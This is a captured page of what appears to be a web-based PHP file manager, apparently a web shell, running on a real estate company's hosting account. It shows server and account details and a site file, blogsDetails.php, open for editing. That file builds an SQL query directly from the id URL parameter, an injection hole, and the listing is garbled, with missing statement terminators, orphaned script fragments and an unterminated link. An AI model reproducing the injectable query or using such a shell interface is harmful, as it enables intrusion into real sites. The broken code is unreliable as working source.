Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-284.30.1.el9.tuxcare.els9.x86_64

PHP Version:

8.2.29

User:

u776328043

Directory:

/home/u776328043/domains/edenrealtech.in/public_html

Free Space:

12.38 TB

🔧 Quick Actions

✏️ Editing: blogsDetails.php

<?php 
include'admin/db.php';
$id = $_GET['id'];

$sql = "SELECT * FROM blogs where id = '$id'";
$result = mysqli_query($con,$sql)

<!DOCTYPE html>
<html lang="en" style="--deg: -22deg;">

<?php include 'head.php'; ?>

<body class="light-theme"><noscript><iframe height=0 src="https://www.googletagmanager.com/ns.html?id=GTM-N2ZBWP94"
            style=display:none;visibility:hidden width=0></iframe></noscript>
    <style>
        * {
            margin: 0;
            padding: 0
        }

.team-img {
            height: 250px;
            width: 243px
        }

.s-soft {
            display: block;
            position: fixed;
            top: 250px;
            z-index: 1000;
            transition: all linear .2s
        }

.s-soft a:first-child {
            border-radius: 0 5px 0 0
        }

.s-soft a:last-child {
            border-radius: 0 0 5px 0
        }

.s-item {
            display: block;
            width: 40px;
            height: 40px;
            color: #fff;
            font-size: 15px;
            line-height: 30px;
            text-align: center;
            transition: all linear .2s
        }

.s-item:hover {
            width: 55px;
            border-radius: 0 20px 20px 0
        }

#so-open {
            display: block;
            position: fixed;
            top: 100px;
            left: -90px;
            border-radius: 0 30px 30px 0;
            transition: all linear .2s
        }

.facebook {
            background-color: #3b5999
        }

.twitter {
            background-color: #3aafd6
        }

.print {
            background-color: #de3c7d
        }

.pinterest {
            background-color: #bd081c
        }

.linkedin {
            background-color: #0e76a8
        }

.instagram {
            background-color: #ed006f
        }

.so-collapse {
            left: -30px
        }

@media (max-width:767px) {
            .s-soft {
                display: none
            }

#so-open {
                display: none
            }
        }
    </style>
    <div class="s-soft"><a href="https://www.facebook.com/moneytreerealtyofficial" class="s-item facebook"><i
                class="bi bi-facebook"></i> </a><a
            href="https://www.linkedin.com/company/moneytree-realty-services/mycompany/" class="s-item linkedin"><i
                class="bi bi-linkedin"></i> </a><a href="https://www.instagram.com/moneytreerealtyofficial/"
            class="s-item instagram"><i class="bi bi-instagram"></i></a></div><a class="s-item print so-collapse"
        id="so-open"><span class="fa fa-arrow-right"></span></a>
    <style>
        @keyframes fadeIn {
            from {
                opacity: 0;
                transform: translateY(-20px)
            }

to {
                opacity: 1;
                transform: translateY(0)
            }
        }

.popup-container {
            animation: fadeIn .5s ease-out forwards
        }

:root {
            --deg: 0deg;
        }

.green-gradient-text {
            background: linear-gradient(var(--deg), #005b52, #205752, #14897d, #e5b566);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;

}
    </style>
    <script>
        let deg = 0;

function updateGradient() {
            deg = (deg + 1) % 450;
            document.documentElement.style.setProperty('--deg', `-${deg}deg`);
        }
        setInterval(updateGradient, 30);
    </script>

<?php include 'header.php' ?>

<div class="container pt-50">
        <div class="row">
            <div class="section-title1"><span>Eden Realtech</span>
                <h2>Blog Details</h2>
            </div>
            
            <?php 
            while($row = mysqli_fetch_array($result)){ ?>

<br>
    <style>
        .float {
            position: fixed;
            width: 60px;
            height: 60px;
            bottom: 40px;
            right: 40px;
            background-color: #25d366;
            color: #FFF;
            border-radius: 50px;
            text-align: center;
            font-size: 30px;
            box-shadow: 2px 2px 3px #999;
            z-index: 100;
        }

.my-float {
            margin-top: 16px;
        }

.bounce {
            animation: bounce 2s infinite;
        }

a.float.bounce {
            color: white;
            transition: scale 150ms ease-in-out;
        }

a.float.bounce:hover {
            color: white;
            scale: 1.05;
        }

.bi::before,
        [class^=bi-]::before,
        [class*=" bi-"]::before {
            margin-top: 14px;
        }

@keyframes bounce {

0%,
            25%,
            50%,
            75%,
            100% {
                transform: translateY(0);
            }

40% {
                transform: translateY(-20px);
            }

60% {
                transform: translateY(-12px);
            }
        }
    </style>

trackableElements.forEach(function (element) {
                element.addEventListener('click', function (event) {
                    // Get the unique ID from the data attribute
                    var id = element.getAttribute('data-id');

// Create an AJAX request
                    var xhr = new XMLHttpRequest();
                    xhr.open('POST', 'track_click.php', true);
                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

// Data to send in the POST request
                    var data = 'id=' + encodeURIComponent(id);

xhr.onreadystatechange = function () {
                        if (xhr.readyState === XMLHttpRequest.DONE) {
                            if (xhr.status === 200) {
                                console.log('Click tracked successfully');
                            } else {
                                console.error('Error tracking click');
                            }
                        }
                    };

xhr.send(data);
                });
            });
        });
    </script>

<?php include 'slideForm.php' ?>

<div class="mb-100 project-location-area">
        <div class="container">
            <div class="fadeInUp wow mb-50 row" data-wow-delay="200ms">
                <div class="d-flex col-lg-12 flex-wrap justify-content-between align-items-center gap-3">
                    <div class="section-title1"><span>Comfort Building</span>
                        <h2>Property By Cities</h2>
                    </div>
                    <div class="slider-btn-group2 width-90">
                        <div class="slider-btn prev-12 swiper-button-disabled" tabindex="-1" role="button" aria-label="Previous slide" aria-controls="swiper-wrapper-e2e61c1ca972cdcb" aria-disabled="true"><svg height="15" viewBox="0 0 8 13" width="9" xmlns="http://www.w3.org/2000/svg">
                                <path d="M0 6.50008L8 0L2.90909 6.50008L8 13L0 6.50008Z"></path>
                            </svg></div>
                        <div class="slider-btn next-12" tabindex="0" role="button" aria-label="Next slide" aria-controls="swiper-wrapper-e2e61c1ca972cdcb" aria-disabled="false"><svg height="15" viewBox="0 0 8 13" width="9" xmlns="http://www.w3.org/2000/svg">
                                <path d="M8 6.50008L0 0L5.09091 6.50008L0 13L8 6.50008Z"></path>
                            </svg></div>
                    </div>
                </div>
            </div>
            <style>
                .project-card {
                    transition: all .3s ease-in-out;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, .1)
                }

.project-card:hover {
                    transform: scale(1.05);
                    box-shadow: 0 10px 15px rgba(0, 0, 0, .2)
                }

.location-link,
                .view-more-btn {
                    transition: color .3s ease-in-out
                }

.location-link:hover,
                .view-more-btn:hover {
                    color: #007bff
                }

.view-more-btn svg {
                    transition: transform .3s ease-in-out
                }

.view-more-btn:hover svg {
                    transform: translateX(5px)
                }

.project-location-area .project-card img {
                    height: 22rem;
                    width: 100%;
                    object-fit: cover;
                    object-position: bottom
                }

.project-location-area .project-card .location-content-wrap .location-content {
                    transform: translateY(30px);
                    transition: .5s
                }

.project-location-area .project-card .location-content-wrap:hover .location-content {
                    transform: translateY(10px)
                }

.project-location-area .project-card .location-content-wrap {
                    background: linear-gradient(to top, rgb(0 0 0 / 77%) 0, rgb(0 0 0 / 0) 100%)
                }

.view-btn a.view-more-btn {
                    background: linear-gradient(45deg, #d39f51, #e5b566, #f0cb7b, #f8e292, #fff7a9);
                    -webkit-background-clip: text;
                    -webkit-text-fill-color: transparent;
                    background-clip: text;
                    text-fill-color: transparent;
                    color: none
                }

.view-btn {
                    color: var(--primary-color1)
                }

.view-btn i {
                    font-size: 18px
                }

.single-team-card {
                    display: grid;
                    padding-bottom: 3rem
                }

@media (width < 700px) {
                    .single-team-card {
                        display: grid;
                        justify-items: center;
                        padding-bottom: 3rem
                    }

.home1-team-section .single-team-card .team-content {
                        width: 72%
                    }
                }
            </style>
            <div class="row">
                <div class="col-lg-12">
                    <div class="swiper home1-location-slider swiper-initialized swiper-horizontal swiper-backface-hidden">
                        <div class="swiper-wrapper" id="swiper-wrapper-e2e61c1ca972cdcb" aria-live="off" style="transition-duration: 0ms; transition-delay: 0ms; transform: translate3d(0px, 0px, 0px);">
                            <div class="swiper-slide swiper-slide-active" role="group" aria-label="1 / 4" style="width: 302px; margin-right: 15px;">
                                <div class="project-card"><img loading="lazy" alt="Noida" src="images/noida-city.jpg">
                                    <div class="location-content-wrap">
                                        <div class="location-content">
                                            <h5 class="text-white">Noida</h5>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="swiper-slide swiper-slide-next" role="group" aria-label="2 / 4" style="width: 302px; margin-right: 15px;">
                                <div class="project-card"><img loading="lazy" alt="Gurugram" src="images/gurugram-city.jpg">
                                    <div class="location-content-wrap">
                                        <div class="location-content">
                                            <h5 class="text-white">Gurugram</h5>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="swiper-slide" role="group" aria-label="3 / 4" style="width: 302px; margin-right: 15px;">
                                <div class="project-card"><img loading="lazy" alt="Ghaziabad" src="images/ghaziabad-city.png">
                                    <div class="location-content-wrap">
                                        <div class="location-content">
                                            <h5 class="text-white">Ghaziabad</h5>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="swiper-slide" role="group" aria-label="4 / 4" style="width: 302px; margin-right: 15px;">
                                <div class="project-card"><img loading="lazy" alt="Goa" src="images/faridabad-omaxews.jpeg">
                                    <div class="location-content-wrap">
                                        <div class="location-content">
                                            <h5 class="text-white">Faridabad</h5>
                                        </div>
                                    </div>
                                </div>
                            </div>

</div>
                    <span class="swiper-notification" aria-live="assertive" aria-atomic="true"></span></div>
                </div>
            </div>
        </div>
    </div>
    
    <style>
        .swipper-wrapper {
            gap: 6rem
        }

.review-card {
            box-shadow: rgba(99, 99, 99, .2) 0 2px 8px 0;
            padding: 1rem 1.2rem
        }

.reviewer-details {
            display: flex;
            align-items: center;
            gap: 16px;
            margin-bottom: 10px
        }

.reviewer-details>p {
            margin-top: 14px
        }

.review-text {
            font-size: 14px;
            max-height: 14rem;
            overflow-y: scroll;
            scrollbar-width: none;

}

.review-text::-webkit-scrollbar {
            display: none;

}

@media (width < 700px) {
            .swipper-wrapper {
                gap: 0
            }

.review-card {
                padding-inline: 10px
            }

.review-text {
                font-size: 13px
            }
        }
    </style>
    <div class="mb-100 pt-90 home1-team-section pb-20">
        <div class="container">
            <div class="fadeInUp wow mb-50 row" data-wow-delay="200ms">
                <div class="d-flex col-lg-12 flex-wrap justify-content-between align-items-center gap-3">
                    <div class="section-title1">
                        <h2>Our Customer Reviews</h2>
                    </div>
                    <div class="slider-btn-group2 width-90">
                        <div class="slider-btn prev-13"><svg height="15" viewBox="0 0 8 13" width="9"
                                xmlns="http://www.w3.org/2000/svg">
                                <path d="M0 6.50008L8 0L2.90909 6.50008L8 13L0 6.50008Z"></path>
                            </svg></div>
                        <div class="slider-btn next-13"><svg height="15" viewBox="0 0 8 13" width="9"
                                xmlns="http://www.w3.org/2000/svg">
                                <path d="M8 6.50008L0 0L5.09091 6.50008L0 13L8 6.50008Z"></path>
                            </svg></div>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-lg-12">
                    <div class="swiper home1-team-slider">
                        <div class="swiper-wrapper">
                            <div class="swiper-slide">
                                <div class="review-card" tabindex="0">
                                    <div class="review-content">
                                        <div class="reviewer-details">
                                            <p class="reviewer-name">Review by Amit Sachdeva: </p>
                                        </div>
                                        <p class="review-text">Eden Realtech Pvt Ltd is playing a big role in the fast development of Faridabad. As more people from Delhi are now considering Faridabad, it’s clear that this city has a bright future. Their projects under the Deen Dayal Yojana scheme are a great step towards affordable and well-planned housing. Compared to Gurgaon, Faridabad is quickly becoming a more sustainable and smart choice for investment. Eden Realtech offers focused and professional services that will shape a better future for the city. Highly recommend investing through them!
                                        </p>
                                    </div>
                                </div>
                            </div>
                            <div class="swiper-slide">
                                <div class="review-card" tabindex="0">
                                    <div class="review-content">
                                        <div class="reviewer-details">
                                            <p class="reviewer-name">Review by Vaibhav Sharma: </p>
                                        </div>
                                        <p class="review-text">Eden Realtech Pvt Ltd is helping transform Faridabad into one of the best places for homebuyers and investors. Their projects stand out because of their focus on green spaces, modern infrastructure, and clean, pollution-free environments—something rare in this region. As more people from Delhi are moving their attention to Faridabad, it’s clear this city is growing into a major real estate hub in Haryana.<br>
                                            At this pace, Faridabad could soon surpass Gurgaon as a well-planned and sustainable city. Eden Realtech is a trusted and forward-thinking company, and I would definitely recommend them to anyone looking to invest in quality real estate for long-term value.
                                        </p>
                                    </div>
                                </div>
                            </div>
                            <div class="swiper-slide">
                                <div class="review-card" tabindex="0">
                                    <div class="review-content">
                                        <div class="reviewer-details">
                                            <p class="reviewer-name">Review by Subhash Sharma: </p>
                                        </div>
                                        <p class="review-text">Eden Realtech Pvt Ltd makes buying property easy and transparent. They offer clear and honest brokerage services without any hidden costs. Their team helps at every step — from site visits to final paperwork — and ensures that all documents are in order. With their customer-first approach, they give expert advice and the best market deals, making real estate investments in Faridabad smooth and stress-free. Trust, transparency, and excellent service are what make Eden Realtech stand out!
                                        </p>
                                    </div>
                                </div>
                            </div>
                            
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="col-lg-12">
        <div class="section-title1 container">
            <h2>Developers</h2>
        </div>
        <div class="partner-slider" style="overflow-x:hidden">
            <div class="marquee_text2"><img loading="lazy" alt="Signature Global"
                    src="images/signature-global-logo.webp" height="100" width="300"><img loading="lazy"
                    alt="Sarvottam World" src="images/sarvottam-world-152337508.png" height="100" width="300"><img
                    loading="lazy" alt="Lodha" src="images/lodhalogo.png" height="100" width="300"><img loading="lazy"
                    alt="Godrej" src="images/godrej.png" height="100" width="300"><img loading="lazy" alt="M3M"
                    src="images/m3m.png" height="100" width="300"><img loading="lazy" alt="Paras Buildtech"
                    src="images/paras-buildtech.png" height="100" width="300"><img loading="lazy" alt="elan"
                    src="images/elan-golden-removebg-preview.png" height="100" width="300"><img loading="lazy" alt="dlf"
                    src="images/dlf.png" height="100" width="300"></div>
        </div>
    </div>

display: flex;
            justify-content: center;
            justify-items: center;
            gap: 16px;
            width: 91vw;
            margin-inline: auto;
            padding-bottom: 4rem;
        }

@media (width < 1000px) {
            .more-tags {
                flex-direction: column;
                align-items: center;
            }
        }

.more-tags div {
            display: flex;
            flex-direction: column;
            width: 230px;
        }

.more-tags div:last-child {
            width: auto;
        }

@media (width < 900px) {
            .more-tags div:last-child {
                justify-content: center;
            }
        }

.more-tags ul {
            list-style-type: none;
            text-align: left;
            margin: 0;
            padding: 0;
        }

.more-tags h2 {
            text-transform: capitalize;
            color: #005b52;
            position: relative;
            margin-bottom: 34px;
            margin-left: 0;
            display: flex;
            align-items: center;
            font-size: 20px;

}

.more-tags h2::after {
            content: '';
            display: block;
            position: absolute;
            bottom: -14px;
            left: 0;
            height: 2px;
            width: 100%;
            background: #e2dede;

}

.more-tags li {
            font-size: 14px;
            color: #5e5d5d;
        }

.more-tags button {
            background-color: #005b52;
            color: white;
            text-decoration: none;
            border-radius: 5px;
            position: relative;

font-weight: 500;
            height: 50px;
            width: 110px;
            overflow: hidden;
            margin-top: 1rem;

}

@media (width<900px) {
            .more-tags button {
                margin-top: 20px;
            }
        }

.more-tags button::before {
            content: '';
            display: block;
            position: absolute;
            width: 100%;
            border-radius: 5px;
            height: 100%;
            background: linear-gradient(164deg, white, transparent 40%);
            top: 0;
            left: 0;
            opacity: 0;
            transition: opacity 150ms ease-in-out;

}

.more-tags button:hover::before {
            opacity: 0.4;
        }

div.bigger-tag {
            width: auto;
        }

@media (width < 1000px) {
            div.bigger-tag {
                width: 14rem;
            }
        }

.more-tags a {
            background: linear-gradient(90deg, #00796b, #009688, #26a69a);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }
    </style>

<section class="more-tags">
        <style>
            .hidden {
                display: none;
            }
        </style>
        <div class="property-wrapper">
            <h2>Property in India</h2>
            <ul class="property-list">
                <li>
                    <a href="">
                        Property in Noida
                    </a>
                </li>
                <li>
                    <a href="">
                        Property in Gurgaon
                    </a>
                </li>
                <li>
                    <a href="">
                        Property in Goa
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Property in Mumbai
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Property in Ayodhya
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Property in Alibaug
                    </a>
                </li>
            </ul>
            <button class="toggle-btn">Read more</button>
        </div>

<div class="property-wrapper">
            <h2> Real Estate in India </h2>
            <ul class="property-list">
                <li>
                    <a href="">
                        Real Estate in Noida
                    </a>
                </li>
                <li>
                    <a href="">
                        Real Estate in Gurgaon
                    </a>
                </li>
                <li>
                    <a href="">
                        Real Estate in Goa
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Real Estate in Mumbai
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Real Estate in Ayodhya
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Real Estate in Alibaug
                    </a>
                </li>
            </ul>
            <button class="toggle-btn">Read more</button>
        </div>
        <div class="property-wrapper">
            <h2>Flats in Noida</h2>
            <ul class="property-list">
                <li>
                    <a href="">
                        Flats in Noida
                    </a>
                </li>
                <li>
                    <a href="">
                        Flats in Gurgaon
                    </a>
                </li>
                <li>
                    <a href="./index">
                        Flats in Goa
                    </a>
                </li>
                <li class="hidden">
                    <a href=">
                        Flats in Mumbai
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Flats in Ayodhya
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Flats in Alibaug
                    </a>
                </li>
            </ul>
            <button class="toggle-btn">Read more</button>
        </div>
        <div class="bigger-tag property-wrapper">
            <h2>Real Estate Developers in India</h2>
            <ul class="property-list">
                <li>
                    <a href="">
                        Paras Buildtech
                    </a>
                </li>
                <li>
                    <a href="">
                        M3M Group
                    </a>
                </li>
                <li>
                    <a href="">
                        Godrej Properties
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Sikka Group
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Elan Group
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Ace Group
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        The House of Abhinandan Lodha
                    </a>
                </li>
                <li class="hidden">
                    <a href="">
                        Mahagun Group
                    </a>
                </li>

<li class="hidden">
                    <a href="">
                        Piramal Realty
                    </a>
                </li>
            </ul>
            <button class="toggle-btn">Read more</button>
        </div>

propertyContainers.forEach(container => {
                    const listItems = container.querySelectorAll('.property-list li');
                    const toggleBtn = container.querySelector('.toggle-btn');

toggleBtn.addEventListener('click', function () {
                        if (this.textContent === 'Read more') {
                            this.textContent = 'Read less';
                        } else {
                            this.textContent = 'Read more';
                        }
                        updateVisibility();
                    });

updateVisibility();
                });
            });
        </script>

</section>
    <style>
        ul {
            margin: 0px;
            padding: 0px;
        }

.footer-section {
            background: #005b52;
            position: relative;
        }

.footer-cta {
            border-bottom: 1px solid #373636;
        }

.single-cta i {
            color: #005b52;
            font-size: 30px;
            float: left;
            margin-top: 8px;
        }

.cta-text {
            padding-left: 15px;
            display: inline-block;
        }

.cta-text h4 {
            color: #fff;
            font-size: 20px;
            font-weight: 600;
            margin-bottom: 2px;
        }

.cta-text span {
            color: #757575;
            font-size: 15px;
        }

.footer-content {
            position: relative;
            z-index: 2;
        }

.footer-pattern img {
            position: absolute;
            top: 0;
            left: 0;
            height: 330px;
            background-size: cover;
            background-position: 100% 100%;
        }

.footer-logo {
            margin-bottom: 30px;
        }

.footer-logo img {
            max-width: 200px;
        }

.footer-text p {

margin-bottom: 14px;
            font-size: 14px;
            color: #F2F0EF;
            line-height: 28px;
        }

.footer-social-icon span {
            color: #fff;
            display: block;
            font-size: 20px;
            font-weight: 700;
            font-family: 'Poppins', sans-serif;
            margin-bottom: 20px;
        }

.footer-social-icon a {
            color: #fff;
            font-size: 16px;
            margin-right: 15px;
        }

.footer-social-icon i {
            height: 40px;
            width: 40px;
            text-align: center;
            line-height: 38px;
            border-radius: 50%;
        }

.facebook-bg {
            background: #3B5998;
        }

.twitter-bg {
            background: #55ACEE;
        }

.google-bg {
            background: #DD4B39;
        }

.footer-widget-heading h3 {
            color: #fff;
            font-size: 20px;
            font-weight: 600;
            margin-bottom: 40px;
            position: relative;
        }

.footer-widget-heading h3::before {
            content: "";
            position: absolute;
            left: 0;
            bottom: -15px;
            height: 2px;
            width: 50px;
            background: #0e428b;
        }

.footer-widget ul li {
            display: inline-block;
            float: left;
            width: 50%;
            margin-bottom: 12px;
        }

.footer-widget ul li a {
            color: #F2F0EF;
            text-transform: capitalize;
            transition: color 200ms ease-in;
        }

.footer-widget ul li a:hover {
            color: #c88e35;
        }

.subscribe-form {
            position: relative;
            overflow: hidden;
        }

.subscribe-form input {
            width: 100%;
            padding: 14px 28px;
            background: #0e428b;
            border: 1px solid #0e428b;
            color: #fff;
        }

.subscribe-form button {
            position: absolute;
            right: 0;
            background: #0e428b;
            padding: 13px 20px;
            border: 1px solid #0e428b;
            top: 0;
            width: 6rem;
            color: white;
        }

.subscribe-form button i {
            color: #fff;
            font-size: 22px;
            transform: rotate(-6deg);
        }

.copyright-area {

background: #005b52;
            padding: 25px 0;
        }

.copyright-text p {
            margin: 0;
            font-size: 14px;
            color: #878787;
        }

.copyright-text p a {
            color: #c88e35;
        }

.footer-menu li {
            display: inline-block;
            margin-left: 20px;
        }

.footer-menu li:hover a {
            color: #c88e35;
        }

.footer-menu li a {
            font-size: 14px;
            color: #878787;
        }

.news-section .news-card .news-img img {

height: 200px;
            object-fit: fill;

}

.news-section .news-card .news-img .date a {
            height: fit-content;
            padding-block: 5px;
            width: 285px;
        }

.footer-text a {
            font-size: 16px;
            font-weight: 600;
            background: linear-gradient(45deg, #d39f51, #e5b566, #f0cb7b, #f8e292, #fff7a9);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
        }

.footer-text a svg {
            width: 20px;
            height: 20px;
            fill: #d39f51;
            margin-right: 8px;
        }
    </style>

.sticky-footer a,
        .sticky-footer button {
            color: white;
            text-decoration: none;
            font-size: 12px;
            padding: 6px 10px;
            border: none;
            /* background: #FFA500; */
            border-radius: 5px;
            cursor: pointer;
        }

.button-call {
            background: linear-gradient(135deg, #005b52, #00796b);
            border-color: #004d46;
        }

.button-enquiry {
            background: linear-gradient(135deg, #00796b, #00a28a);
            border-color: #00695c;
        }

.button-whatsapp {
            background: #25d366;
            border-color: #007d57;
        }

.sticky-footer i {
            margin-right: 1px;
        }

.sticky-footer i::before {
            margin-top: 0 !important;
        }

.whatapp.whatapp {
            background: #25d366;
        }

@media (max-width: 768px) {
            .sticky-footer {
                display: grid;
                grid-template-columns: repeat(3, 1fr);
                padding-inline: 3px;
                gap: 3px;
            }

.footer-section {
                padding-bottom: 1.5rem;
            }

.slide-in-form {
                padding-bottom: 5rem;

}
        }
    </style>

<div class="sticky-footer" style="display: none;">
        <a class="button-call track-click" data-id="5" href="tel:+919732300007"><i
                class="bi bi-telephone-outbound-fill"></i> Call Us</a>
        <button class="button-enquiry" onclick="openForm()"><i class="bi bi-envelope-paper-fill"></i> Enquiry</button>
        <a class=" track-click button-whatsapp" data-id="6" href="https://wa.me/+919732300007?text=Hi" target="_blank">
            <i class="bi bi-whatsapp"></i> WhatsApp</a>
    </div>

// Initial check
        window.dispatchEvent(new Event('resize'));
    </script>

<?php include 'footer.php' ?>
    <script src="js/swiper-bundle.min.js" defer=""></script>
    <script src="js/jquery-3.7.0.min.js" defer=""></script>
    <script src="js/slick.js" defer=""></script>
    <script src="js/waypoints.min.js" defer=""></script>
    <script src="js/jquery.counterup.min.js" defer=""></script>
    <script src="js/jquery.magnific-popup.min.js" defer=""></script>
    <script src="js/jquery.marquee.min.js" defer=""></script>
    <script src="js/jquery.nice-select.min.js" defer=""></script>
    <script src="js/jquery.fancybox.min.js" defer=""></script>
    <script src="js/custom.js" defer=""></script>
    <script defer="">
        document.addEventListener("DOMContentLoaded", function () {
            $(".marquee_text").marquee({
                direction: "left",
                duration: 25000,
                gap: 50,
                delayBeforeStart: 0,
                duplicated: true,
                startVisible: true
            });

$(".marquee_text2").marquee({
                direction: "left",
                duration: 25000,
                gap: 50,
                delayBeforeStart: 0,
                duplicated: true,
                startVisible: true
            });

});
    </script>
</body>

</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: blogsDetails.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation